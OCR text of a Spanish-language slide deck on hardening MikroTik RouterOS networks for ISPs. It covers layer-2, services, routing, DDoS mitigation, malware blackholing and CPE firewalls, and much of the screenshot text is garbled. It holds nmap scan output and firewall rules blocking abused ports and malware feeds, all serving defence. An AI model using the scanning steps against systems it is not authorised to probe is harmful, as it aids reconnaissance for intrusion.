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L {md brasil

Protected Bootloader

Evita que un atacante con acceso fisico, obtenga los archivos
y configuraciones de RouterOS, deshabilitando el arranque via
ethernet;

Se puede habilitar y deshabilitar sélo dentro del RouterQOS,
después del login;

Cuando esta habilitado, botones de reset y acceso a través de
la consola quedan deshabilitados;

No todos los equipos soportan y es necesario un paquete
especial para esta funcion:

https://wiki.mikrotik.com/wiki/Manual:RouterBOARD settings#Protected bootloader
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Seguridad en la
Capa 2
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L\md brdglj Seguridad en la
Capa 2
MAC-Server

.
Deshabilite MAC-Server ST
] n erfaces i '
para Telnet y Winbox I WmE'ranrrterfaces Active Sessmns

siempre que sea posible. 4| = Rl :t T MN:F'lngSewer
Si es necesario, habilite | Irderface
solo en interfaces =l

especificas y controladas

Meighbors Discovery Interfaces
oo demmiiei | (@) MnDP

T Deshabilite las interfaces de
descubrimiento siempre que sea
t,ﬁ,e;',_; posible para evitar ataques MNDP.
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Capa 2

o Aislamiento de clientes inalambricos

En el caso de que haya mas de una

v Default Autheng : . . - " y

= interfaz inalambrica, utilice tambien

S los filtros de brid |

7 Hide SSID os filtros de bridge, o la
Multicast Helper: i-ﬂefauft i?

el |Mu'anced ARP STP ..

Bridge Port <wlan1:

Chain: |f|:nrward IT

— L

General | Status In. Interfac

Bridge Port <wlan2:

~a |ntefaces _ —

In. Inteface: E_.|'|'~"|EII'I-| !! * i -

Imterface: :@ General IStatus Out. Interf
i ac

Bridge: |brid, Interfacs: | wianz

Priorky: @ Bridge: |bridg@_2 .jl

Out. Interface: [ ||wlan2 |E. o

Path Cost: [10° Priorty: |80 | hex Bridge Fitter Rule <>
Horizon: |5 path Cost: [10 | ARP STP Action | Statistics

g 5 [ [5
Horizon: |5 |- Action: Idl‘ﬂp |! * !
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Inalambrica

o Cifrado Wireless

Utilice los métodos de

Security Profile <PSK> criptografia corporativos
General RADIUS EAP | Static Keys provistos por RouterOS.
EAP Methods: | EAP-TLS =]= Autenticacidon PPPOE no es
TLS Mode: |verfy cetficate = método de seguridad!
TLS Certificate: |58_cert pem_0 I *]

o Ataques de “de-autenticacion”
Funcionalidad propietaria

Management Protection: requmau:l ._ 3 Mikrotik que evita ataques
"deauth", inherente al
protocolo 802.11

Management Protection Key: |

MUM 2008 - Krakow - Poland
http://mikrotikbrasil.com.br/artigos/Wireless Security Poland 2008 Maia.pdf
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Capa 2

Hay muchos otros problemas de seguridad en la
capa 2 que dependen de la topologia especifica y de
las funcionalidades empleadas. Algunos ejemplos:

- Mac Flooding

DHCP Starvation

Vlan hopping attack

Spanning tree attacks

ARP poisoning attacks

Para un trabajo mas detallado en ataques de capa 2 y
mitigacion, comprobar:

MUM 2009 - Buenos Aires - Argentina
http://mikrotikbrasil.com.br/artigos/Seqguridad en la capa2 Argentina 2009 Maia.pdf
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118 TELECOM Servicios

pResuItados de nmap

0it$ sudo nmap -s5 -s¥ 192.168.1.14

nmap.org ) at 2018-11-15 21:33 -82
rt an 191 1.14
ARG5S 11twﬂr ).

05 ::hd Lnr:tuLcl 2.8)

- config httpc
dth-test server

v ; 0x virtual NIC)
Service Info: 0Ss: Linux, Router0S: Device: router; + cpe:/o:mikrotik:routeros, cpe:/o:linux:linux kernel

Puertos TCP abiertas por defecto: 21, 22, 23, 80,
2000 e 8291
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Servicios

pResuItados de OpenVAS

"""j:: Greenbone
D, SecuntyAssustant

Y~ Report: Results (3 of 26)

Vulnerability

SSH Weak Encryption Algorithms Supported

TCP timestamps Y 2.6 (Low) |
SSH Weak MAC Algorithms Supported 26 (Low) |

Dos vulnerabilidades de severidad baja y
solo una de severidad media (SSH Weak Encryption)
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Servicios

Deshabilitar servicios innecesarios;

Para los que va a mantener,
cambie los puertos por defecto;

@ [einet

B E,EE,E 1521453«——— Restringir el acceso a
BAS L determinados IPs

.........

Puede parecer paranoia, pero ademas de restringir por IP,
para servicios activos, es importante también restringir
en el Firewall (ver siguiente diapositiva)
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Servicios

En el canal Input, restringir
el acceso a servicios solo

para IPs administrativos;
b 3 S

t | f=] ?_ 0 Reset Counters || o0 Reset Al

# | Fv:tlun Chaln Sn:: H.ddress Dst Address ' |Src. Port . Dst F‘nrt
] .-’-‘u:-:ept 55H |,|:u:urt EE!EE}fn:um administrative
E' afaccept  input  152.168.77.1

i Aocept Winbox (modified port 8252 from administrative [P

1 ofaccept  input 192163771 & ftop) 9922
.. Accept established connections

2 afaccept  input

k] # drop input

 ftep) 9292

** Although it seems redundant, the reason to block services/ports also in /ip
firewall was pointed by Tom Smyth (wirelessconnect.eu):

"As far as I am aware and from tests I carried out about 7 or 8 years ago the
allowed from IP addresses in IP services menu uses TCP wrappers and
actually allows TCP connections from any address (regardless of what IPs
you specified) the decision to allow or deny a user login is taken after the
connection is made so there could be a window for the exploit to be uploaded.”
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TI&TELECOM

0 Bandwidth Test Server
No hay razdon para dejar el
BW-test habilitado (y viene
habilitado por defecto)

Habilite solo cuando lo utilice
y vuelva a deshabilitarlo

©Copyright md brasil - direitos reservados

Seguridad de

Servicios

BTest Server Settings

| .u“u_ltherrtln::ate

Allocate UDP Ports From: 2=I}I}E'
Max Sessions: _'H}I]I
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L\md bl'CISI' Seguridad de
Servicios

Desde la versidon v.30, Mikrotik ha modificado el mddulo
ssh introduciendo métodos y algoritmos de encriptacion
fuertes.

El cifrado fuerte esta deshabilitado por defecto (Open
VAS lo revela)

La habilitacion debe ser considerada, siempre que las
aplicaciones de la caja justifiguen pues hay un impacto en
los recursos de hardware.
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“ Servicios deshabilitados por defecto y que deben
permanecer deshabilitados:

/ip upnp /ip socks /ip smb
UPnP Settings =] E3 W socks Setiings ' SMB Settings o x|
[ [Enabied 0K iEnabled ) 0K Tt oK
: Alow To Disable Extemal Inteface | Port: | 1080 Dt _MlSHCl)ME -
'w| Show Dummy Rule Connection Idie Timeout: |00:02:00 Comment: TITI**SGMZ
-.'""‘DIJ}'_-' Max Connections: | 200 = A 2
Interfaces: |all . 7|&

Si no estas seguro de los servicios que se estan
ejecutando en su caja, intente descubrirlos con nmap:
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Seguridad en
enrutamiento
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TITELECOM -
enrutamiento
o OSPF y OSPFv3

- Utilice criptografia;
- Configure interfaces de clientes en modo pasivo;
- Descarte el protocolo 89 en las interfaces externas.

QSPF zetherZ: Firewall Rule <=
General | Status General | Advanced Bdra Action  Statistics
Intertace: [ether2 =] Chain: |forward
Cost: |10 Src. Address: |
Priority: |1 | Dst. Address: |
Authentication: Ejr_lcune =
- Protocal: ||| 85 {ospf)
Authentication Key: [~ —
- = Src.-Port: |
Authentication Key ID: |1 |
—_— Dst. Port: |
Network Type: |broadcast |
- = | ! W F' e |
Instance 10 |0 [ AR
[ | Passive P2P: |
[ | Use BFD In. Interface: _'WAN

MUM 2011 - Budapest - Hungria
http://mikrotikbrasil.com.br/artigos/Routing Security and best practices Hungary 2011 Maia.pdf
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BGF Peer <peeri:

General | Advanced = Status

Name:
Instance:
Remote Address:
Remote Port: |
Remote AS:
TCP MD5 Key: |
defaut
| Muttihop
|| Route Reflect

Meaxthop Choice:

Hald Time:
Keepalive Time:
TIL: |

E.|:uaer'l
| default
:_1 ¥ 1 1

11

180

Seguridad en
enrutamiento

0 BGP

- Utilice criptografia MD5;

- Utilice el TTL "hack";

- Filtre prefijos BOGON;

- Filtre prefijos no deseados, como
Sus propios, etc;

- Filtrar AS-Path muy grandes;
etc ...

MUM 2013 - Zagreb - Croacia

http://mikrotikbrasil.com.br/artigos/BGP Filtering with RouterOS %202013 MUM-Zagreb-Cr Maia.pdf
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TI&TELECO

Seguridad en
enrutamiento

D VPNs MPLS (VRF e VPLS)

Utilice soOlo rutas estaticas entre
CE -> PE;

No permita acceso a terceros a los
routers CE;

Proteja la red contra spoof usando
uRPF;

Considere el uso de IPSec entre PEs.

MUM 2014 - Venezia - Italia
http://mikrotikbrasil.com.br/artigos/MPLS VPNs Security MUM 2014 Venice-It Maia.pdf
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L\md bI'CISI| Agenda

recientes y motivacion para reflejar la
seguridad;

Seguridad orientada por capas (fisica,
enlace, IP, enrutamiento y servicios);

Introduccion, incidentes importantes \/

Seguridad orientada por niveles de red

(borde, transito y acceso);

Gestion de seguridad a gran escala y de
forma automatizada;
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Proteccion de los equipos;
Blackhole de direcciones Bogons;
. Proteccion DDoS
0 Borde de area Blackhole de malwares;
Filtros de buenas practicas BGP.

Proteccion de los equipos
Especial atencion en las
protecciones de las capas I y 11

Proteccion de los equipos
Implementacion de BCP38;
0 Acceso Filtros de malwares conocidos
Filtros de conexiones no validas
Seguridad de CPEs
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L\md bl'CISI| Seguridad por nivelés

Proteccion de los equipos;

Blackhole de direcciones Bogons;
Proteccion DDoS

Blackhole de malwares;

Filtros de buenas practicas BGP.

Proteccion de los equipos
Especial atencion en las

protecciones de las capas I y 11

Proteccion de los equipos
mplementacion de BCP33;

0 Acceso Filtros de malwares conocidos
Filtros de conexiones no validas
Seguridad de CPEs

“ Borde de area
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L\md bfdil! Proteccion de los
- Equipos

Proteccion de Input 1/2

Filter Rules [MﬁT Mangle Raw Service Ports Connections Address Lists  Layer7 Protocols

EnE

.|.|=. |,_,;~, o ‘ﬂ T ‘nu Feset Counters || 00 Reset All Counters

#  |Action Chain S, Address Dst, Address | Protocol \Src, Port  |Dst, Part |
: ;,; bieeita conexdes eskabelecidas, relacionadas & ndo brackeadas
8facc,., input

il + Aceita conexoes de IPs Administrativos

17 & acc.., input
131 bceita MMDP (porta S678) oriunda de nossos prefixos

18 & acc.., input 17 {udp) 5678
133 Aceita conexoes de IPs de monitoramento

19 o acc.., inpuk
i1 Aceita pacotes OSPF (protocolo §9) oriundos de nossos prefixos

20 o acc.., inpuk 89 (ospf)
11 fceita conexoes Winbox de IPs de acesso remoko

21 o' acc... inpuk & (kep) 9261
i1 Aceita conexoes SSH de IPs de acesso remaoto

27 & acc... inpuk 6 (kep) £922
i34 Bceita conexoes porta 179 Peers Remotos

23 o acc,., inpukt 6 (kcp) 179

J31 Beeita conexoes porka 179 Peers Remotos
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L\md bI'CICSoll Proteccion de los
- Equipos

Proteccion de Input 2/2

131 Aceita conexoes porta 179 Peers Remotos

74 o acc,., inpuk 6 (kep) 179
bi dceita ICMP Echo Replay (0:07
25 o acc... input 1 {icmp)
11 Aeeita ICMP Echio Requesk (5:0)
26 4 acc,., input 1 {icrp)
i3 Aceita ICMP Time Exceed (11:0)
27 o acc,., inpuk 1 {icmp)
151 Bceita ICMP Destinakion Unreachable (3:3)
2a o acc,., input 1 {icmp)
131 Aceita ICMP PMTUD (3:4)
24 o acc,., input 1 {icrmp)
i1 Aceita Traceroute por UDP
30 o acc... input 17 {udp) 33434
1o Bceita respostas de DNS
31 o'acc,., input 17 {udp) g3

131 Descarta e loga conexoes invalidas
32 K drop  input
131 Descarta e loga pacotes dos IPs que estiverem no Honeypot
33 K drop input
131 Loga o que chegou até aqui
34 Slog  input
;51 Descarta o resto
35 K drop  input
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L\md bl'CISI' Proteccion de los
Equipos

Port knock para acceso remoto y Honeypot
para abuso de port knock

Filker Rules  MAT Mangle !Flaw Service Ports  Connections | Address |

L | = | |z |22 [Z] | | | 00 Reset Counters || 00 Reset All Ce
# | |action  |Chain \Src. Address |Dst, Address |Prot,.. |Src, P

311 special durnry rule to show Fasktrack counters

oD Jpas,.. prerouting

111 special dumm*;.-' rule to show Fasttrack counters

1D 9 pas.., forward

311 special durnrmy rule to shiow Fasktrack counkers

2D 0 pas... posktrouking

111 Port Knock - kemp

3 =t ad.,. input A (tcp)

111 Port knock - liska IPs acesso remoto

4 tad,,. input A (tcp)

;11 Homeypot para port knock - kemp

g tad... input A (ko)

313 Honeypot para port knock - Honeypaot

f tad... input A (tcp)
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L\md bl'CISIl Seguridad por niveles

Proteccion de los equipos;

Blackhole de direcciones Bogons:
“ Borde de area Proteccion DDoS

Blackhole de malwares;

Filtros de buenas practicas BGP.

Proteccion de los equipos
Especial atencion en las
protecciones de las capas I y 11

Proteccion de los equipos
Implementacion de BCP38;
“ Acceso Filtros de malwares conocidos
Filtros de conexiones no validas
Seguridad de CPEs
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r(md erSil Blackhole de
A direcciones BOGONS

Para la obtencion de informacion de prefijos bogons de forma
automatica, podemos establecer una sesion BGP con Cymru
http://www.team-cymru.org/

HOW DO I OBTAIN A PEERING SESSION?

Tao peer with the begon route servers, contact bogonrs@cymru.com. When requesting a peering session, please
include the following information in your e-mail;

1. Which bogon types you wish to receive (traditional IPv4 bogons, IPvd fullbogons, andlor IPvE fullbogons)
2. Your AS number

3. The IP address(es) you want us to peer with

4. Does your equipment support MD5 passwords for BGP sessions?

5. Optional: your GPG/PGP public key

We will typically provide multiple peering sessions (at least 2) per remote peer for redundancy. If you would like
more or less than 2 sessions please note that in your request. We try to respond to new peering requests within
one to two business days, but, again, can provide no guarantees for this free semvice.

Remember that you must be able to accomodate up to 100 prefixes for traditional bogons, and up to 50,000
prefixes for fullbogons, and be capable of multihop peering with a private ASN. If you improperly configure your
peering and route all packets destined for bogon addresses to the bogon route-servers, your peering session
will be dropped.

El router de Cymru nos enviara las rutas bogons, con
Community (65332: 888)
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TI&TELECOM

Aceptando las rutas de Cymru y
colocandolas en blackhole:

Route Filter <
Metchers BGP Actions  BGP Actions

Chain: i.I-N-Cg.rrnm

Route Fiter <

BGP AS Path: |

BGP AS Path Lengh: |
BGP Weight: |

BGP Local Pref |

BGP MED: |

BGF Atomic Agoregate: |
BGP Origin: |

Locally Originated BGF: |

~4~ BGP Communitigg————
BGP Commufies: |

Route Fiter <

Matchers BGP Actions | BGF Actions

Action: |accept

Jump Tarnget: I
Set Distance: |
Set Scope: |—
Set Target Scope: ‘:
Set Pref. Source: i—
Set In Nexthop: |
Set In Nexthop Direct: |—
SetOutMexhop: |
Set Routing Mark: |—
Set Route Comment: |

Set Check Gateway: |

Set Disabled:
S

aJype; |-t.|-|£d1nle

Tratando las rutas

BOGONS

Evitando otras
entradas y salidas:

Route Filter <3

Vatchers |BGP Actions BGP Actions

Chain: |IN-Cymnu

Route Fitter <>

Matchers BGP Actions | BGP Actions

Action: IM

Route Fitter <>
Meichers BGP Actions BGP Actions

Chain: i_OLI'I'_-Emm

Matchers BGP Actions | BGP Actions

Action: |%

96



.~
L\md bl'CISIl Seguridad por niveles

Proteccion de los equipos;

Blackhole de direcciones Bogons:
“ Borde de area Proteccion DD0S

Blackhole de malwares;
Filtros de buenas practicas BGP.

Proteccion de los equipos
Especial atencion en las
protecciones de las capas I y 11

Proteccion de los equipos
Implementacion de BCP38;
“ Acceso Filtros de malwares conocidos
Filtros de conexiones no validas
Seguridad de CPEs
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TI&TELECO! Recursos para DDoS

IP Sekkings

[w[}IP Farward ok |

send Redirects
il k Redirect

[ | accept Redirects Apply

Secure Redirects
L] Accepk Source Rouke

Allaw Fast Path .
o ot s 0D ataque, con5|d.erar
deshabilitar el routing cache;

RP Filter: |no " + |

P SynCookies
D\ Recurso que puede ser util en caso

de ataque Syn flood;
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Mitigacion de DDoS con
L\md erS|| Fastnetmon y ExaBGP

TI&TELECOM

Traffic Flow

A DA, .
N W W ST r——

information,,-"
f”
FAST, 7
ETMON W.—===)======= T e Mitigacion
Y
=

NGRS,

OXa| Anuna =

MUM 2016 - Ljubljana - Slovenia
https://mum.mikrotik.com/2016/EU/agenda/EN#0DMTOyOwY9

LACNIC 25 - La Habana - Cuba
https://www.slideshare.net/pavel odintsov/ddos-detection-at-small-isp-by-wardner-maia
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Mitigacion de DDoS con
L\md br OSIl Fastnetmon y ExaBGP

TI&TELECOM

En condiciones normales los enrutadores de borde estan
enviando informaciones de Flows para Fastnetmon.
ExaBGP tiene sesiones iBGP con los enrutadores de borde.

Traffic Flow
information/'

Mitigacion

M e e S
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Mitigacion de DDoS con

L\md b!;g[gl,! Fastnetmon y ExaBGP
Cuando un DDoS es detectado, Fastnetmon dispara
ExaBGP, que envia las rutas por iBGP con una community

especifica para blackholing. Los enrutadores de borde
anuncian dicha direccion para la solucion de mitigacion.

Traffic Flow
information//

Mitigacion

Fastnetmon
aciona ExaBGP
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Mitigacion de DDoS con

L\md h[gwgl,! Fastnetmon y ExaBGP
Cuando un DDoS es detectado, Fastnetmon dispara
ExaBGP, que envia las rutas por iBGP con una community

especifica para blackholing. Los enrutadores de borde
anuncian dicha direccion para la solucion de mitigacion.

Traffic Flow
information/'

BTN TR e

Mitigacion
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Mitigacion de DDoS con

L\md h[gwgl,! Fastnetmon y ExaBGP
Cuando un DDoS es detectado, Fastnetmon dispara
ExaBGP, que envia las rutas por iBGP con una community

especifica para blackholing. Los enrutadores de borde
anuncian dicha direccion para la solucion de mitigacion.

Traffic Flow
information//

e e B @ e

Mitigacion

M W e o S

Anuncios eBGP

Farrrreee e
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Posibles tecnicas de
mitigacion
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Blackhole remotamente
L\md brCISII accionado (RTBH)

ISP X esta sofriendo un ataque
DDoS direccionado para el IP
X.X.X.X/32, causando la
inundacion del link;

Su proveedor de upstream
(ejemplo AS 100) tiene una
politica que pone en blackhole
los anuncios /32 que tenga una
community determinada
(ejemplo 100:666);




' {md brasil

X.X.X.X/32,
community 100:666

©Copyright md brasil - direitos reservados

Blackhole remotamente
accionado (RTBH)

ISP anuncia para su upstream la
direccion IP /32 con la community
100:666;

Upstream tiene filtros que
reconocen la community y
automaticamente ponen la
direccion anunciada en blackhole;

La comunicacion con este /32 es
perdida, pero la inundacion del
link es parada;

O SLA de los otros clientes es
preservado, pero podemos decir
que el ataque tuve suceso
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L\md brC|S|| Mitiga(cg(i')nnkﬁ(r; Ilea; nube

Proveedor de
solucion de
Mitigacion

ISP X esta sufriendo un ataque
DDoS por todos sus upstreams.
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L\md belSlI Mitigacion en la nube

Proveedor de
solucion de
Mitigacion

. N‘

Announce your /24

ISP X anuncia través de un tunel
el /24 que contiene la(s)
direccion(es) atacadas
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L\md belSlI Mitigacion en la nube

Your /24 announced

Proveedor de
“~  soluciéon de
Mitigacion

Mitigation Provider announces
the /24 to the Internet, receives
the traffic destined to the victim,

Your
AS filter the bad traffic and give

back “clean” traffic
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L\md brasil Mitigacion en la nube

Your /24 announced

Proveedor de Mitigacion anuncia
el /24 para la Internet, recibe el
trafico destinado a la victima,
filtrando el trafico “sucio” e
forneciendo el trafico “limpio”
través de un tunel.
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UTRS - Unwanted Traffic
Removal

Content
Providers o

d | ISPs establecen sesiones
BGP con Cymru para el
e servicio UTRS

http://www.team-cymru.org/UTRS/
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' {md brasil Cymru - UTRS

UTRS - Unwanted Traffic
Removal

Content
Providers o

d | ISPs establecen sesiones
BGP con Cymru para el
e servicio UTRS

http://www.team-cymru.org/UTRS/
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[N&TELEC

Content
Providers

Cymru - UTRS

nwanted Traffic Removal Seui
‘ — P —
== e e ——

......
““““““
.* .

%

«** W
.
“

@

Cymru - UTRS
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“Internet

El ISP X esta sufriendo un
ataque DDo0S, comprometiendo
el trafico legitimo.
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[(md brCISiI Cymru - UTRS

Content
Providers

“Internet

1/ ISP X anuncia el / 32 atacado
para UTRS vy los otros ISPs
ponen en blackhole el IP

anunciado.

El trafico legitimo (por ejemplo,
Cymru - UTRS los proveedores de contenido no
se ven afectados)
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L\md bl'CISIl Seguridad por niveles

Proteccion de los equipos;
Blackhole de direcciones Bogons;

. Proteccion DDoS
“ Borde de area Blackhole de malwares:

Filtros de buenas practicas BGP.

Proteccion de los equipos
Especial atencion en las
protecciones de las capas I y 11

Proteccion de los equipos
Implementacion de BCP38;
“ Acceso Filtros de malwares conocidos
Filtros de conexiones no validas
Seguridad de CPEs
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%('_" {’\\ﬁ

Filker Rules |NF'.T Mangle FRaw  Service Ports | Connections | Address Lists | Le

‘ 00 Reset Al Counters

IEHE' @@ |IJD Resat Counkers

# | | Action |Chain |See. Address s
i3 special dummy rule ko show Fastbrack counters
00D  Opas... Forward
113 Fasttrack para todos pacotes do Forward
1 [ fas... Forward
113 Libera Tudo
2% effacc,.. Forward
113 Dropa e Loga IP Spoofado [substituir por uRPF]
3 K drop  Forward
114 Libera comunicacao UNM-=0OLT

4 4 acc,.. Forward 172.16.55.254 17
113 Libera comunicacan UMM-=CLT
5 af acc... Forward 172.16.55.254 17

i1 Blogueia e loga tentativas porta 25 entrante & sainke

6 #®drop  Forward

313 5alka para o canal de bloqueio de malwares conhecidos “

7 & jurnp | Forward

133 Libera tudo para IPs Administrativos

g e acc,.. forward

114 Libera tudo para IPs de Monitorameanto

9 e acc... Forward

113 Libera portas baixas para 'Link-Empresarial’
10 af acc... Forward

113 Libera portas baixas para 'Link-Empresarial’
11 af acc... Forward

113 Libera portas baixas para Jogadores [notificar M3 antes de habilicar]
12 afacc... Forward

113 Libera portas baixas para |Jogadores [notificar M3 antes de habilitar]
13 s acc... Forward

i13 Blogueia e loga portas baixas TCP para conexoes entrantes {links)
14 K drop  Forward

113 Blogueia e loga portas baixas UDP para conexoes entrantes (links)
15 #Kdrop  Forward
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Protecciones de
Malwares conocidos

Filter Rules |N.0.T . Mangle Raw Service Ports  Connections  Address Lisks | Laver? Protocaols

IE‘E‘ ® |DD Reset Counters ||DD Reset All Counters

# | |.ﬁ.ctinn |chain |Sre, Address
133 D003 baseadn em SSDP (porta 1900) entrante e sainke
37 ¥ drop  malwares_conhecidos
;14 Blogueia Portmap - porta TCP 111 - origem e destino
33 K drop  malwares_conhecidos
;14 Blogueia Portmap - porta UDP 111 - origem e desting
39 K drop  malwares_conhecidos
;14 Blogueia Chargen - porka UDP 19 - origem & deskino
40 K drop  malwares_conhecidos
;13 Blogueia QUOTD - porta TCP 17 - origem & desting
41 K drop  malwares_conhecidos
;13 Blogueia ROP - porta UDP 135 - origem & destino
4z #HK drop  malwares_conhecidos
13, Blogueia Metbios - portas UDP 137 - 139 origem & destino
43 # drop  malwares_conhecidos
135 Bloqueia SAMEA - portas TCP 445 arigem & destino
44 ¥ drop  malwares_conhecidos
131 Blogueia Memecahed - porta UDP 11211 origem & destino
45 ¥ drop  malwares_conhecidos
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z
Como construir o

obtener su propia lista
de malwares
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L\md bI'CISI| Listas de Malwares

Hay muchos repositorios publicos con informacion
de malware:

360chinad, 360conficker, 360cryptolocker, 360gameover, 360locky,
360necurs, 360tofsee, 360virut, alienvault, atmos, badips,
bambenekconsultingc2dns, bambenekconsultingc2ip,
bambenekconsultingdga, bitcoinnodes, blackbook, blocklist, botscout,
bruteforceblocker, ciarmy, cruzit, cybercrimetracker, dataplane,
dshielddns, dshieldip, emergingthreatsbot, emergingthreatscip,
emergingthreatsdns, feodotrackerdns, feodotrackerip, greensnow, loki,
malcOde, malwaredomainlistdns, malwaredomainlistip, malwaredomains,
malwarepatrol, maxmind, myip, nothink, openphish, palevotracker,
policeman, pony, proxylists, proxyrss, proxyspy, ransomwaretrackerdns,
ransomwaretrackerip, ransomwaretrackerurl, riproxies, rutgers, sblam,
socksproxy, sslipbl, sslproxies, talosintelligence, torproject, torstatus,
turris, urlvir, voipbl, vxvault, zeustrackerdns, zeustrackerip,
zeustrackermonitor, zeustrackerurl, etc.
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TI&TELECOM

altrail @
&

itemweb.fr/845yfgh,
enricobasili.com/t4j6ryve,
211.18.200.4/
dwﬂt”l tachojnice.com/pgooz,

scourt.web.fc2.com/

|HHutHﬁlm1 com/wzhmfjclt,
JJFEH.FU

.kardborren.se/h71r51,
arxaggeLGS.Lum_igfhﬁg,
mala@maia-5520: L1
12074

mala@mala-5520:

FARPAATY )
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ware
~tlas821/3rwcozqv,
nyx37ec,

ware
marESEhE1Jtrdrtﬁ be/845yfgh,

ware
cat trails.csv | grep -c ransom

Listas de Malwares

Scripts en Python para obtener
automaticamente la informacion
en estos repositorios

twitter @maltrail

qhna# ch

(malware),
ware de
ware
nmd1hdr'
'MdiwdrP#
(malware),
(malware) ,abuse.ch
ware (malware),
{md1l'der ,dLi

(malware) ,abuse.

ware
ware
ware

walre
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L\md bfdil! Tratamiento de
Malwares

Listas publicas

| Blackholing I

El
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L\md bI'CISI| Como obtener una
lista de Malwares

Obtener de forma automatica:

1) Escribir un mail para:
feed-bgp@mdbrasil.com.br, solicitando una sesion
BGP para feed de malwares;

2) Configurar una sesion BGP con los datos informados
por MD Brasil;

3) Configurar los filtros de sus routers de borde para
poner en blackhole los IPs de malware;

4) Reportar para feed-bgp@mdbrasil.com.br problemas
e posibles falsos positivos.
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L\md bl'CISIl Seguridad por niveles

Proteccion de los equipos;
Blackhole de direcciones Bogons;

. Proteccion DDoS
“ Borde de area Blackhole de malwares;

Filtros de buenas practicas BGP.

Proteccion de los equipos
Especial atencion en las
protecciones de las capas I y 11

Proteccion de los equipos
Implementacion de BCP38;
“ Acceso Filtros de malwares conocidos
Filtros de conexiones no validas
Seguridad de CPEs
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[(md erSiI Filtrados de Upstreams

Filtrados (minimos) a aplicar en todos los upstreams:

- Descartar la recepcion de su propio prefijo (y sub redes);

- Descartar redes privadas y reservadas previstas en la RFC
5735;

- Descartar la recepcion de ASNs Bogons;
- Descartar anuncios de redes menores que / 24;
- Descartar anuncios que tengan mas de X AS en el AS-Path

MUM 2013 - Zagreb - Croacia
http://mikrotikbrasil.com.br/artigos/BGP_Filtering with RouterOS 9%202013 MUM-Zagreb-Cr Maia.pdf
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L\md bl'CISIl Seguridad por niveles

Proteccion de los equipos;
Blackhole de direcciones Bogons;
Proteccion DDoS

Blackhole de malwares;

Filtros de buenas practicas BGP.

B Borde de area

Proteccion de los equipos
Especial atencion en las
protecciones de las capas I y 11

Transito

Proteccion de los equipos
Implementacion de BCP38;
B Acceso Filtros de malwares conocidos

Filtros de conexiones no validas
Seguridad de CPEs
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r'{md brasil acp 3g

Implantacion de BCP 38 (RFC 2827) nada mas es que evitar
gue sus clientes hagan spoofing

- No protege su red, pero evita que sus clientes sean
vectores de ataques basados en spoof

- Puede ser implementada a través de reglas de Firewall
(impacto en performance)

- Implementacion indicada, a traves de uRPF (Unicast
Reverse Path Forward)
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[{md Dbrasil BCP 38

‘ ’ Filtro uRPF

RF Filter: |no
loose

#l |

| strict

- modo strict: El paquete es enviado solo si la interfaz que
recibe el paquete tiene una ruta inversa para el IP de origen
del paquete.

- modo loose: El paquete es enviado si el router tiene
alguna ruta inversa para devolver el paquete.
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“ Borde de area

©Copyright md brasil - direitos reservados

Seguridad por niveles

Proteccion de los equipos;
Blackhole de direcciones Bogons;
Proteccion DDoS

Blackhole de malwares;

Filtros de buenas practicas BGP.

Proteccion de los equipos
Especial atencion en las
protecciones de las capas I y 11

Proteccion de los equipos
Implementacion de BCP38;
Filtros de malwares conocidos
Filtros de conexiones no validas

Seguridad de CPEs
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L\md bl'CISI' Proteccion de CPEsS -
IPv4

Parte de las funciones de los concentradores de accesso
(PPPoE, DHCP, etc) pueden ser transferidos o duplicados en
las CPES, como:

- Accesso WAN a los equipos solamente por IPs
administrativos del ISP (accesso LAN liberado para
permitir manejo de los clientes)

- Bloqueo de puertos innecessarios y malwares

- BCP 38, etc
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A

Proteccion de las CPEs
IPv6
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L\md bI'CISIl Seguridad en un mundo
e sin NAT

[T]he Intemet of
Things is going to
drive a large
population of
connected devices,
but most of those
devices should

NAT se inventod para extender la hever connect

vida de IPv4, no para proveer outside of their own
seguridad local network.

144

Sin embargo el NAT da como “bono
un Firewall Statefull, ocultando la
topologia interna de la red
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' {md brasil Seguridad de CPEs

IPVv6
RFC 6092 )
Seguridad para CPEs IPv6 I E T F

RFC 6092 proporciona recomendaciones de buenas
practicas para CPEs (50 en total)

Recomienda la implementacion de un firewall statefull que
permite solo trafico entrante, solamente si esto se
inicia dentro de la red;

Sin embargo, la RFC impone un modo "transparente” de
operacidn que los clientes pueden habilitar;

El trafico IPsec siempre se permite en cualquier direccion;
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TI&TELECOM

/ipv6 firewall — canal Input

IPvE Firewall

Filker Rules | Mangle Raw Connections = Address Lists

IPv6

15 & drop

inpuk
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e (| = || 52 W | 00 Reset Counters || 00 Reset All Counters
# Action  [Chain Src, Address |Dst, Address |Protocal
111 Aceika conexoes estabelecidas, relacionadas e untracked
0 o acc,,, input
111 hceita ICMPwe
1 af acc,.. input 53 (icmpwe)
111 dceita braceroute LIDP
....... 2o [MWPREETIBYE oo oo b o oo o TEXMERE o v

111 Descarta o resto

Seguridad de CPEs
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L\md bras|| SegurldIaPCiI/ é:le CPEs

/ipv6 firewall - canal Forward

1P Firewall

Filker Rules |Mangle Raw Connections  Address Lists

o || = ||| 52 T |DD Fesel Counters || o0 Resel Al Counters

# | |.ﬁ.n:ti|:un |Chain |5r|:. Address |Dst. fddress |Probocol Src, Port  |Dskt, Port |I; Ik, o
;1) Bceiba conexoes estabelecidas, relacionadas e unkracked
4 o acc.., forward
113 Descarta conexoes invalidas
5 #Hdrop  Forward
;13 Descarta pacokes com origem em IPv6 ilegais
) #Hdrop  Forward
;13 Descarta pacokes com desking a IPvG lleqais
7 #HKdrop  Forward
;13 Descarta pacokes com hop-limi=1 { rfc4890)

g #HKdrop  Forward 55 (icmps)
131 Bceita ICMPywE
q o acc,., forward 5& (icmpwe’)
11 Bceica HIP

10 wacc,.. Forward 139
11 dceita IKE

11 o acc... forward 17 {udp) 500, 4500
111 bBceita IPsec AH

1z o acc,., forward 51 (ipsec-ah)
11y Aceita IPSec ESP

13 s acc,., forward 50 (ipsec-asp)

113 Bceiba politicas de IPSec
14 w acc,.. Forward
16 #HKdrop  Forward ILAM
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Después de las
iImplementaciones de
seguridad probadas y

aprobadas ...

~2Z )| ¢Estiempo de
=" relajarse?




@

<

Gestion de seguridad
a gran escala

' {md brasil

Tonterias suceden todo el tiempo...

- Equipos danados se sustituyen "al vapor" para restablecer
el servicio y los técnicos se olvidan de hacer todas las
configuraciones apropiadas;

- Uno de los técnicos cambia alguna configuracion para
probar algo y se olvida de deshacer;

- Un cliente "muy experto" con la contrasena de la CPE,
cambia configuraciones abriendo brechas de seguridad;

- El fabricante lanza una actualizacion de seguridad que tiene
que aplicarse a gran escala.



L\md bI'CISI| Agenda

